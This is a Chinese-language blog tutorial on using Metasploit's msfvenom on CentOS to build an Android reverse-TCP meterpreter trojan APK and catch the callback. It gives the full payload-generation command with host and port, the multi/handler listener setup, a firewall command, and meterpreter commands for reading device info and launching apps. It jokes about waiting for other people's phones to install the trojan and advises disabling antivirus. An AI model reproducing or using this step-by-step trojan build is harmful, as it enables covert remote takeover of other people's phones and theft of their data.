1. 程式人生 > >Centos Linux下使用Metasploit滲透android

Centos Linux下使用Metasploit滲透android

Metasploit是一款開源的安全漏洞檢測工具

Metasploit是一款開源的安全漏洞檢測工具,可以幫助安全和IT專業人士識別安全性問題,驗證漏洞的緩解措施,並管理專家驅動的安全性進行評估,提供真正的安全風險情報。這些功能包括智慧開發,程式碼審計,Web應用程式掃描,社會工程。

這篇文件只適合在Centos Linux已經安裝了Metasploit的大夥。沒有安裝Metasploit的小夥們,可以前往
https://blog.csdn.net/wyvbboy/article/details/51526640
部落格去瀏覽並安裝,然後再回來~(如果此部落格的安裝已經過期了,官方找或者網上找)

看完Metasploit簡介後,其下有一個工具msfvenom可以生成木馬,開啟linux終端,最好登入root,怕出錯,然後輸入命令

$ msfvenom

Enter下看看都啥?一大堆指令讓你煩~

先檢視一下所有型別的攻擊負荷(看成木馬也行),輸入命令

$ msfvenom --list payloads

Enter下來,資料很多,我們從裡面找Android型別的就行,我是來操控手機的,不會幹其它的

複製一下黃色框的欄位,tcp格式的,接下來會用到

android/meterpreter/reverse_tcp

知道了“木馬”的名稱,還得知道終端的ip,輸入ifconfig檢視內網ip(俺的是本地測試的)

$ ifconfig

ip拿到了,還不趕緊的開始生成木木馬-_-,msfvenom兄弟,靠你了,輸入

$ msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.122.129 LPORT=3333 R > first.apk

-p, --payload 使用攻擊負荷。指定一個’-'或者輸入(stdin)使用者自定義的payloads(攻擊負荷)。
LHOST ip地址

LPORT 自定義埠(注意,那些所謂的防火牆全踏馬都要關閉,記得埠要放行且沒被佔用,不然滲透沒軟用)

生成的木馬最好能放在一個可以訪問的資料夾上,我直接first.apk,在終端目前路徑上可以看到有檔案生成。如果沒有,那就是失敗了,檢查一下你的埠是否佔用!生成成功的編譯大概會出現Payload size: 10181 bytes欄位

 

 

木馬生成完畢,msfvenom兄弟的工作就基本完工了,接下來就有請msfconsole上場了,沒錯,就是開啟metasploit的控制檯,著手配置相關資訊,開始滲透了~

直接輸入msfconsole

$ msfconsole

長久看多了單調程式碼的你,下面的圖形程式碼有沒有讓你灰色的世界多點點色彩~~

 

 

談正事~我們需要配置什麼呢?前面生成木馬的時候不是設定了ip和埠嗎?現在我們也要在控制檯上配置ip和埠,做監聽來的

要做的流程大概是這些

(在msfconsole模式下)載入exploit模組

msf > use exploit/multi/handler

(exploit模式下)選擇之前我們貼上過一次的攻擊載荷:android/meterpreter/reverse_tcp

msf exploit(multi/handler)> set payload android/meterpreter/reverse_tcp

(exploit模式下)檢視一下列表有沒有多出你設定的載荷

msf exploit(multi/handler)> show options

(exploit模式下)設定黃色框下的LHOST和LPORT,就設定成之前生成木馬搞的ip和埠

順便放行埠,輸入命令firewall-cmd --add-port=3333/tcp

firewall-cmd --add-port=3333/tcp # 開放通過tcp訪問3333

配置的流程都搞完了,馬上就是滲透了。
群靈覺醒,封印解除,出來吧!exploit
輸入命令exploit,開始監控,記住不要關掉,就坐等別人的手機安裝,然後別人點選的瞬間,俺這裡馬上獲取到別人手機的控制權,到時候,嘿嘿。當然,俺這裡是滲透自己的手機(然並軟—~)

既然是滲透自己的手機,把生成的木馬拿出來下載吧,俺這裡是ftp連線linux成功後,找到木馬下載安裝到自己的手機上(防毒軟體請關掉),我用的是xftp,只要你能把那個木馬拿出來下載,管你用什麼辦法~~

 

 

 

安裝好木馬後,點選開啟的瞬間,沒有啥反應。手機上沒反應沒關係,關鍵是終端exploit監聽有反應,並且開始滲透併成功。
如果終端沒有反應,就是防火牆的問題,設定的埠要放行

輸個?,檢視命令列表

 

比如檢視下手機資訊

sysinfo

想開啟某個應用,輸入app_list檢視app列表

 

然後使用使用app_run命令開啟app對應的package名稱

 

手機上的termux就會自己啟動

 

 

 好了,還有關於相簿或者通訊錄、照相什麼的指令就不講了,你們自己探究探究吧